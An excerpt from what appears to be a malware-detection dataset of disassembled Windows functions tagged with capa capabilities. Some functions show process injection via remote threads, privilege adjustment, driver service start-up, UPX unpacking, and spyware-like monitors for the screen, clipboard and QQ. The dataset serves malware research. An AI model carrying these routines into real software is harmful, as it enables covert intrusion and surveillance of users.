joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401c60
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43bd76
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x1440
call fcn.00433df0
mov eax, dword [0x452450]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0xb
push str._SyDbgOut__
lea ecx, [ebp - 0x1438]
mov dword [ebp - 0x1424], 0xf
mov dword [ebp - 0x1428], 0
mov byte [ebp - 0x1438], 0
call fcn.00402770
lea ecx, [ebp - 0x1450]
mov dword [ebp - 4], 0
call fcn.00401c20
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0x1438]
mov byte [ebp - 4], 1
call fcn.004021f0
mov byte [ebp - 4], 0
cmp dword [ebp - 0x143c], 0x10
jb 0x401d04
push dword [ebp - 0x1450]
call fcn.0041ff9d
add esp, 4
push 1
push 0x44554c
lea ecx, [ebp - 0x1438]
call fcn.004022f0
mov eax, dword [ebp + 8]
cmp eax, 1
jne 0x401d8b
push 0xf
push str._CaptureScreen_
lea ecx, [ebp - 0x1438]
call fcn.004022f0
push 0x1400
lea eax, [ebp - 0x141f]
mov byte [ebp - 4], 2
push 0
push eax
mov byte [ebp - 0x1420], 0
call fcn.004220a0
add esp, 0xc
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x1420]
push 0x1400
push eax
call fcn.0041feb4
add esp, 0x10
lea eax, [ebp - 0x1420]
push 0x445598
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp byte [ebp - 0x1420], 0
jne 0x401dea
xor ecx, ecx
jmp 0x401dfc
cmp eax, 2
jne 0x401d99
push 0xb
push str._Clipboard_
jmp 0x401d25
cmp eax, 3
jne 0x401daa
push 0xe
push str._PrintMonitor_
jmp 0x401d25
cmp eax, 4
jne 0x401dc4
push str._WatermarkMonitor_
lea ecx, [ebp - 0x1438]
call fcn.004020c0
jmp 0x401d30
cmp eax, 5
jne 0x401d30
push str._QQSPY_
lea ecx, [ebp - 0x1438]
call fcn.004020c0
lea ecx, [ebp - 0x1438]
call fcn.00402090
jmp 0x401e61
lea ecx, [ebp - 0x1420]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401df3
sub ecx, edx
push ecx
lea eax, [ebp - 0x1420]
push eax
lea ecx, [ebp - 0x1438]
call fcn.004022f0
mov dword [ebp - 4], 0
lea edx, [ebp - 0x1438]
cmp dword [ebp - 0x1424], 0x10
cmovae edx, dword [ebp - 0x1438]
call fcn.00403430
cmp dword [ebp - 0x1424], 0x10
lea eax, [ebp - 0x1438]
cmovae eax, dword [ebp - 0x1438]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp dword [ebp - 0x1424], 0x10
jb 0x401e61
push dword [ebp - 0x1438]
call fcn.0041ff9d
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041f59b
mov esp, ebp
pop ebp
ret
Function at 0x401ea0
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x401edb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._InstallNTDriver_OpenSCManager___Faild_0x_08X
push edi
call fcn.00401c60
mov eax, dword [ebp - 4]
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0xf01ff
push str.SyCore
push edi
xor esi, esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, eax
test ebx, ebx
jne 0x401f1d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push esi
push str._InstallNTDriver_OpenService___Faild_0x_08X
push ebx
call fcn.00401c60
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
add esp, 0xc
push edi
call ebx
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x401f6c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp esi, 0x3e5
je 0x401f5d
cmp esi, 0x420
je 0x401f56
push esi
push str._InstallNTDriver_StartService___Faild_0x_08X
push 0
call fcn.00401c60
add esp, 0xc
jmp 0x401f6c
push str._InstallNTDriver_StartService___Faild_ERROR_SERVICE_ALREADY_RUNNING_
jmp 0x401f62
push str._InstallNTDriver_StartService___Faild_ERROR_IO_PENDING_
push 0
call fcn.00401c60
add esp, 8
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call ebx
push edi
call ebx
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403c10
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43bf0a
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x452450]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [ebp + 8]
push 0
mov dword [ebp - 0x18], esi
call fcn.00407d1d
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov byte [ebp - 4], 6
test edi, edi
jne 0x403cb6
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], str.bad_locale_name
push eax
lea ecx, [ebp - 0x24]
call fcn.0041f5e1
push 0x450ae0
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], vtable.std::runtime_error.0
push eax
call fcn.00420e0b
push edi
push esi
call fcn.00407bc0
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041f59b
mov esp, ebp
pop ebp
ret 4
Function at 0x405130
Capabilities:
Get token privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
mov eax, dword [0x452450]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x1f4
lea eax, [ebp - 0x1f8]
mov dword [ebp - 0x200], 0
push 0
push eax
mov dword [ebp - 0x1fc], 0
call fcn.004220a0
add esp, 0xc
lea eax, [ebp - 0x200]
push eax
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4051bb
lea eax, [ebp - 0x1fc]
push eax
push 0x1f4
lea eax, [ebp - 0x1f8]
push eax
push 3
push dword [ebp - 0x200]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x4051cb
push dword [ebp - 0x200]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041f59b
mov esp, ebp
pop ebp
ret
xor eax, eax
cmp dword [ebp - 0x1f8], eax
jle 0x4051f2
lea ecx, [ebp - 0x1ec]
jmp 0x4051e0
mov dword [ecx], 2
lea ecx, [ecx + 0xc]
inc eax
cmp eax, dword [ebp - 0x1f8]
jl 0x4051e0
push esi
push 0
push 0
push 0x10
lea eax, [ebp - 0x1f8]
push eax
push 0
push dword [ebp - 0x200]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 0x200]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0041f59b
mov esp, ebp
pop ebp
ret
Function at 0x405230
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x452450]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], 0
je 0x4052ea
push str.RtlCreateUserThread
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x4052a3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._LoadDll_GetProcAddress_RtlCreateUserThread__errid:0x_08X
push 0
call fcn.00401c60
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041f59b
mov esp, ebp
pop ebp
ret 0x10
push 0
lea ecx, [ebp - 8]
push ecx
push ebx
push edi
push 0
push 0
push 0
push 0
push 0
push esi
call eax
mov eax, dword [ebp - 8]
test eax, eax
jne 0x40532d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._LoadDll_RtlCreateUserThread_Create_failed_errid:0x_08X
push 0
call fcn.00401c60
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041f59b
mov esp, ebp
pop ebp
ret 0x10
push 0
push 0
push ebx
push edi
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 8], eax
test eax, eax
jne 0x40532d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._LoadDll_CreateRemoteThread_Create_failed_errid:0x_08X
push 0
call fcn.00401c60
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041f59b
mov esp, ebp
pop ebp
ret 0x10
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor ecx, ecx
cmp eax, 0xffffffff
pop edi
setne cl
mov eax, ecx
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0041f59b
mov esp, ebp
pop ebp
ret 0x10
Function at 0x406a17
Capabilities:
Write file on windows

Disassembly:
push 0x20
mov eax, 0x43c06d
call fcn.00420ed3
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x40], ebx
je 0x406b0f
cmp byte [esi + 0x46], bl
je 0x406b0f
mov eax, dword [esi]
mov edi, 0xffff
push edi
call dword [eax + 0xc]
movzx eax, ax
cmp di, ax
jne 0x406a53
xor al, al
jmp 0x406b11
push ebx
push 8
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], ebx
mov byte [ebp - 0x28], bl
call fcn.00405b40
mov dword [ebp - 4], ebx
mov edi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov ebx, edi
cmp eax, 0x10
jae 0x406a80
lea ebx, [ebp - 0x28]
mov edi, ebx
mov ecx, dword [esi + 0x40]
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x18]
add eax, ebx
mov edx, dword [ecx]
push eax
push edi
lea eax, [esi + 0x48]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x406aa7
dec eax
je 0x406aab
dec eax
dec eax
je 0x406afd
xor bl, bl
jmp 0x406aff
mov byte [esi + 0x46], 0
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp - 0x28]
mov ecx, edi
cmp eax, 0x10
jae 0x406abb
lea ecx, [ebp - 0x28]
mov ebx, dword [ebp - 0x2c]
sub ebx, ecx
je 0x406ae3
cmp eax, 0x10
jae 0x406aca
lea edi, [ebp - 0x28]
push dword [esi + 0x50]
push ebx
push 1
push edi
call fcn.00421d3c
add esp, 0x10
cmp ebx, eax
jne 0x406aa3
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp - 0x28]
cmp byte [esi + 0x46], 0
je 0x406afd
test ebx, ebx
jne 0x406a74
push ebx
push 8
lea ecx, [ebp - 0x28]
call fcn.00405adf
jmp 0x406a6e
mov bl, 1
push 0
push 1
lea ecx, [ebp - 0x28]
call fcn.004025f0
mov al, bl
jmp 0x406b11
mov al, 1
call fcn.00420e82
ret
Function at 0x406e88
Capabilities:
Write file on windows

Disassembly:
push 0x30
mov eax, 0x43c0bf
call fcn.00420ed3
mov edi, ecx
mov ebx, dword [ebp + 8]
mov esi, 0xffff
cmp si, bx
jne 0x406eaa
xor eax, eax
jmp 0x407032
mov eax, dword [edi + 0x20]
mov ecx, dword [eax]
test ecx, ecx
je 0x406ed6
mov edx, dword [edi + 0x30]
mov eax, dword [edx]
lea eax, [ecx + eax*2]
cmp ecx, eax
jae 0x406ed6
dec dword [edx]
mov ax, bx
mov edx, dword [edi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 2]
mov dword [edx], ecx
mov word [esi], bx
jmp 0x407032
cmp dword [edi + 0x50], 0
je 0x40702f
mov ecx, edi
call fcn.00406c06
xor ecx, ecx
cmp dword [edi + 0x40], ecx
jne 0x406f09
push dword [edi + 0x50]
push ebx
call fcn.004065f5
pop ecx
pop ecx
test al, al
je 0x40702f
movzx esi, bx
jmp 0x40702f
push ecx
movzx eax, bx
mov dword [ebp - 0x18], ecx
mov byte [ebp - 0x28], cl
lea ecx, [ebp - 0x28]
push 8
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x14], 0xf
call fcn.00405b40
and dword [ebp - 4], 0
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
cmp ecx, 0x10
jae 0x406f3c
lea eax, [ebp - 0x28]
mov dword [ebp - 0x2c], eax
cmp ecx, 0x10
jae 0x406f4a
lea eax, [ebp - 0x28]
mov dword [ebp - 0x30], eax
mov ecx, dword [edi + 0x40]
lea eax, [ebp - 0x38]
push eax
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x2c]
mov edx, dword [ecx]
push eax
push dword [ebp - 0x30]
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x32]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [edi + 0x48]
push eax
call dword [edx + 0x1c]
mov ebx, dword [ebp + 8]
test eax, eax
js 0x407023
cmp eax, 1
jg 0x407007
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
cmp ecx, 0x10
jb 0x406f97
mov dword [ebp - 0x2c], eax
jmp 0x406f9d
lea edx, [ebp - 0x28]
mov dword [ebp - 0x2c], edx
mov edx, dword [ebp - 0x38]
sub edx, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], edx
je 0x406fcf
cmp ecx, 0x10
jae 0x406fb0
lea eax, [ebp - 0x28]
push dword [edi + 0x50]
push edx
push 1
push eax
call fcn.00421d3c
mov edx, dword [ebp - 0x2c]
add esp, 0x10
cmp edx, eax
jne 0x406fff
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
lea ebx, [ebp - 0x34]
mov byte [edi + 0x46], 1
cmp dword [ebp - 0x3c], ebx
mov ebx, dword [ebp + 8]
jne 0x406ffc
test edx, edx
jne 0x406f34
cmp dword [ebp - 0x18], 0x20
jae 0x407002
push edx
push 8
lea ecx, [ebp - 0x28]
call fcn.00405adf
jmp 0x406f2b
movzx esi, bx
movzx esi, si
movzx esi, si
jmp 0x407020
cmp eax, 3
jne 0x407023
push dword [edi + 0x50]
push dword [ebp - 0x34]
call fcn.004065f5
pop ecx
pop ecx
test al, al
je 0x407020
movzx esi, bx
movzx esi, si
push 0
push 1
lea ecx, [ebp - 0x28]
call fcn.004025f0
mov ax, si
call fcn.00420e82
ret 4
Function at 0x431fee
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x452450]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00424612
mov dword [ebp - 0x14], eax
cmp dword [0x468048], esi
jne 0x4320e1
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x43206e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4321c1
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x4321c1
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4321c1
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x468048], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x46804c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x468050], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x468058], eax
test eax, eax
je 0x4320de
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x468054], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x432106
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4320f9
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x43211b
push 4
pop eax
jmp 0x4321c3
cmp dword [ebp - 0x14], esi
je 0x43211b
push dword [0x468048]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x432100
mov eax, dword [0x468054]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x432179
cmp dword [0x468058], edi
je 0x432179
push eax
call ebx
push dword [0x468058]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x432179
test eax, eax
je 0x432179
call ecx
test eax, eax
je 0x43216e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x43216e
test byte [ebp - 8], 1
jne 0x432179
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x4321a9
mov eax, dword [0x46804c]
cmp eax, edi
je 0x4321a6
push eax
call ebx
test eax, eax
je 0x4321a6
call eax
mov esi, eax
test esi, esi
je 0x4321a6
mov eax, dword [0x468050]
cmp eax, edi
je 0x4321a6
push eax
call ebx
test eax, eax
je 0x4321a6
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x468048]
call ebx
test eax, eax
je 0x4321c1
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x4321c3
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041f59b
mov esp, ebp
pop ebp
ret
Function at 0x439510
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x534
push ebx
push esi
push edi
push ecx
push 8
mov ebx, edx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 0xff
mov esi, eax
mov byte [ebp - 0x108], 0
lea eax, [ebp - 0x107]
push 0
push eax
call fcn.004220a0
add esp, 0xc
mov dword [ebp - 0x530], 0x428
lea eax, [ebp - 0x530]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32FirstW]
mov edi, dword [sym.imp.KERNEL32.dll_Module32NextW]
push pe_nt_image_headers32
lea eax, [ebp - 0x510]
push eax
push pe_nt_image_headers32
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 4]
push eax
call fcn.0042ff64
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.00438df3
add esp, 0x1c
test eax, eax
je 0x4395c1
lea eax, [ebp - 0x530]
mov dword [ebp - 0x530], 0x428
push eax
push esi
call edi
test eax, eax
jne 0x439564
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x514]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x439840
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
push 0x40
push 0x1000
push 3
mov esi, ecx
mov dword [ebp - 8], 0
push 0
push esi
mov word [ebp - 4], 0x4c2
mov byte [ebp - 2], 0
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
jne 0x439895
mov esi, 0xc0000017
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x4680a8], eax
mov eax, esi
pop edi
mov dword [0x4535c0], 0x445dc8
pop esi
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0xc]
push eax
push 3
lea eax, [ebp - 4]
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x439928
cmp dword [ebp - 0xc], 3
jne 0x439928
lea eax, [ebp - 8]
mov edx, edi
push eax
push ecx
push 0
mov ecx, esi
call fcn.00439950
test eax, eax
jns 0x439900
push 0
push 0
push 0
push edi
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 8], eax
test eax, eax
jne 0x439903
mov esi, 0xc0000022
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x4680a8], eax
mov eax, esi
pop edi
mov dword [0x4535c0], 0x445e80
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 8]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
mov dword [0x4680a8], 0
xor eax, eax
mov dword [0x4535c0], 0x445950
pop esi
mov esp, ebp
pop ebp
ret
mov esi, 0xc00000e5
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x4680a8], eax
mov eax, esi
pop edi
mov dword [0x4535c0], 0x445e28
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40d6b0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xb000]
push edi
or ebp, 0xffffffff
jmp 0x40d6d2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40d6d9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40d6c8
mov eax, 1
add ebx, ebx
jne 0x40d6eb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40d6e0
jne 0x40d6fc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40d6e0
xor ecx, ecx
sub eax, 3
jb 0x40d710
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40d782
mov ebp, eax
add ebx, ebx
jne 0x40d71b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40d728
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40d74c
inc ecx
add ebx, ebx
jne 0x40d738
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40d72d
jne 0x40d749
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40d72d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40d76c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40d75d
jmp 0x40d6ce
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40d76c
add edi, ecx
jmp 0x40d6ce
pop esi
lea edi, [esi + 0xb000]
mov eax, dword [edi]
or eax, eax
je 0x40d7d4
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xd000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xd050]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40d789
mov ecx, edi
jns 0x40d7b8
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xd054]
or eax, eax
je 0x40d7ce
mov dword [ebx], eax
add ebx, 4
jmp 0x40d7a6
call dword [esi + 0xd05c]
mov ebp, dword [esi + 0xd058]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40d808
sub esp, 0xffffff80
jmp 0x40a9bc
Function at 0x401000
Capabilities:
Get process heap flags

Disassembly:
sub esp, 0xc
call fcn.004030b8
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov edx, esp
lea ecx, [esp + 4]
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0x20]
mov dword [ecx], edx
mov dword [ecx + 4], 0x401648
mov dword [edx], eax
mov edx, str.Usage:_G_MemZ__flashshockwave__n
push 0x20
call fcn.004033c0
pop ecx
call fcn.004030c3
add esp, 0xc
ret
Function at 0x40322c
Capabilities:
Write file on windows

Disassembly:
push esi
push eax
mov esi, ecx
mov eax, esp
push 0
push eax
push dword [esp + 0x18]
push dword [esp + 0x18]
push dword [edx]
call sub.KERNEL32.dll_WriteFile
test eax, eax
je 0x40325c
mov eax, dword [esp]
xor ecx, ecx
movzx ecx, cx
mov dword [esi], eax
mov eax, esi
mov dword [esi + 4], ecx
add esp, 4
pop esi
ret
call sub.KERNEL32.dll_GetLastError
cmp ax, 6
je 0x4032c1
movzx eax, ax
cmp eax, 8
je 0x403293
cmp eax, 0x21
je 0x4032b9
cmp eax, 0x40
je 0x4032b1
cmp eax, 0x6d
je 0x40329b
cmp eax, 0x3e3
je 0x4032a3
cmp eax, 0x6f8
je 0x403293
cmp eax, 0x718
jne 0x4032ab
xor eax, eax
mov cx, 0x12
jmp 0x40324d
xor eax, eax
mov cx, 0x11
jmp 0x40324d
xor eax, eax
mov cx, 0x13
jmp 0x40324d
mov cx, 0x18
jmp 0x40324d
xor eax, eax
mov cx, 0x17
jmp 0x40324d
xor eax, eax
mov cx, 0x15
jmp 0x40324d
xor eax, eax
mov cx, 0x14
jmp 0x40324d